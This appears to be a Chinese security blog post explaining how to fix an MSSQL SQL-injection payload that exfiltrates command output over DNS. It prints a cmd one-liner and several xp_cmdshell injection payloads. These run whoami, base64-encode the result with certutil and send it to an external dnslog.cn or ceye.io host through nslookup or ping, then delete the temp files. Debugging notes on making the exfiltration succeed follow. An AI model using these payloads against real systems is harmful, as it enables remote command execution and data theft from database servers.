MSSQL注入DNS带外问题解决

本文涉及的产品
全局流量管理 GTM,标准版 1个月
云解析 DNS,旗舰版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: MSSQL注入DNS带外问题解决

0x01 前言

朋友@Sin在“对某系统实战练手”这篇文章中看到这种MSSQL注入DNS带外数据的利用方式,但是他在本地复现时遇到了一些问题,所以找我帮着给测试一下,正好闲着没事就看了一下,并在解决这个问题后给他写了这篇记录文。


0x02 正文部分

我们先来看下原作者给出的DNS带外数据命令行版,可以直接执行并通过dnslog接收命令回显。继续来分析一下这条命令的参数和实现的功能吧,cmd参数说明如下。

  • /c:执行字符串指定的命令然后终止,
  • /v:使用 ! 作为分隔符启用延迟的环境变量。
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"


1、执行whoami命令写入到temp文件中,并使用certutil命令进行base64编码到temp2文件。

    whoami > temp && certutil -encode temp temp2

    2、使用findstr命令在temp2文件中搜索不包含"CERTIFICATE"的行内容写入到temp3文件,/L参数:按字使用搜索字符串,/V参数:只打印不包含匹配的行。

      findstr /L /V "CERTIFICATE" temp2 > temp3

      3、MYVAR变量等于temp3文件内容,FINAL变量=MYVAR.DNSLOG,最后用nslookup命令执行FINAL:nslookup cGVudGVzdC13aW4xMFxzaGFkb3c5DQo=.xhwls9.dnslog.cn,没有nslookup命令时可用ping命令替代,执行这条命令时必须加上cmd的/v参数。

        set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"


        使用原作者给出的MSSQL注入DNS带外数据Payoad时出现了下图中的报错,笔者根据这个报错进行了一系列的测试,最终修改出以下可执行Payload,可以自己去对比一下它们之间的差别在哪。


        修改之前:

          exec master..xp_cmdshell "whoami>C:\ProgramData\temp%26%26certutil -encode C:\ProgramData\temp C:\ProgramData\temp2%26%26findstr /L /V ""CERTIFICATE"" C:\ProgramData\temp2>C:\ProgramData\temp3";
          exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< C:\ProgramData\temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
          exec master..xp_cmdshell "del ""C:\ProgramData\temp"" ""C:\ProgramData\temp2"" ""C:\ProgramData\temp3""";


          修改之后:

            exec master..xp_cmdshell 'whoami>C:\ProgramData\temp %26%26 certutil -encode C:\ProgramData\temp C:\ProgramData\temp1 %26%26 findstr /L /V "CERTIFICATE" C:\ProgramData\temp1>C:\ProgramData\temp2';
            exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< C:\ProgramData\temp2 %26%26 set FINAL=!MYVAR!.gnomur.dnslog.cn %26%26 ping !FINAL!""";
            exec master..xp_cmdshell 'del "C:\ProgramData\temp*"';


            0x03 注意事项


            1. CMD命令行下执行时直接用&&连接即可,而在URL提交时必须将&&用Urlencode进行编码;
            2. 出现“开头的 标识符 太长。最大长度为 128”报错时可尝试将最外边的双引号改为单引号;
            3. 第一条语句用findstr搜索"CERTIFICATE"字符串时必须用双引号,否则可能找不到指定字符;
            4. 第一条语句注意查看temp2内容是否正确,如果不正确或为内容为空时将无法带出相关数据;
            5. 第二条语句必须加上cmd的/v参数,否则可能即使不出现报错也无法带出相关数据;
            6. 第二条语句最外边的引号必须用双引号,单引号即使不出现报错也无法带出相关数据。


            相关文章
            |
            9月前
            |
            存储 缓存 网络协议
            DNS攻击基础
            DNS攻击基础
            |
            缓存 网络协议 安全
            常见的DNS记录类型有哪些,常见的DNS攻击方式有哪些,以及怎么防护介绍
            常见的DNS记录类型有哪些,常见的DNS攻击方式有哪些,以及怎么防护介绍
            180 1
            |
            6月前
            |
            网络协议 安全 网络安全
            DNS放大攻击
            【8月更文挑战第20天】
            354 1
            |
            9月前
            |
            域名解析 缓存 网络协议
            DNS问题之服务器流量被攻击如何解决
            DNS服务器是负责将域名转换为IP地址的服务,它是互联网上实现域名解析的关键基础设施;本合集将探讨DNS服务器的工作原理、配置方法和常见问题处理,帮助用户理解和优化DNS服务的使用。
            151 3
            |
            安全 网络协议 Shell
            DNS域传送漏洞
            备份服务器需要利用”域传送“从主服务器上复制数据,然后更新自身的数据库,以打到数据同步的目的,这样是为了服务器挂了还有备份可用。而DNS域传送漏洞,则是由于dns配置不当,本来只有备份服务器才能获取主从服务器的数据,由于漏洞导致 任意client都能通过“域传送”获得主服务器的数据(zone数据库信息)。
            826 0
            |
            安全 网络架构
            DHCP欺骗实验操作及防护措施
            DHCP欺骗实验操作及防护措施
            277 0
            |
            缓存 网络协议 安全
            网络安全-DoS与DDoS攻击原理(TCP、UDP、CC攻击等)与防御
            网络安全-DoS与DDoS攻击原理(TCP、UDP、CC攻击等)与防御
            973 0
            |
            安全 网络协议 网络安全
            如何通过iptables设置来缓解DDoS攻击和CC攻击?
            最近这几年,互联网高速发展的同时,网络安全威胁也日益严重。很多互联网公司经常会遭到各种各样的网络攻击,特别是DDOS攻击最让互联网企业感到头痛,因为DDOS攻击会直接造成服务器崩溃,导致用户无法访问,业务直接中断。
            2851 0
            |
            网络协议 Linux C#
            NativePayload_DNS,通过DNS流量,绕过防病毒传输后门
            版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396319 传送门 注意标点符号,必须是英文的。
            1453 0